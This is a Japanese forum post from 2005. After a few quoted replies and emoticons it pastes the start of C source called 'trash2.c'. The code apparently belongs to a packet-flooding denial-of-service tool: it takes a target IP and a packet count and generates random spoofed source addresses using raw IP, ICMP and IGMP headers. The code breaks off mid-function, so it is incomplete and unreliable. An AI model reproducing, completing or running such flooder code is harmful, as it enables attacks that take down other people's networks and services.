> 2005/10/21 (金) 17:19:41 ◆ ▼ ◇ [qwerty]> > 悪夢悪夢悪夢悪夢悪夢悪夢悪夢悪夢悪夢悪夢悪夢悪夢
> > ヽ(`ー´)ノヽ(`ー´)ノ
> ついたヽ(´ー`)ノヤッホウ
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <pwd.h>
#include <time.h>
#include <sys/utsname.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/igmp.h>
void banner(void)
{
printf("trash2.c - misteri0@unet [outlaw]\n\n");
printf("\n\n");
}
void usage(const char *progname)
{
printf("usage:\n");
printf("./trash [dst_ip] [# of packets]\n",progname);
printf("\t[*] [ip_dst] : ex: 201.12.3.76\n");
printf("\t[*] [number] : 100\n");
printf("\t-----------------------------------------\n");
}
unsigned int randip()
{
struct hostent *he;
struct sockaddr_in sin;
char *buf = (char *)calloc(1, sizeof(char) * 16);
sprintf(buf, "%d.%d.%d.%d",
(random()%191)+23,
(random()%253)+1,
参考:2005/10/21(金)17時17分54秒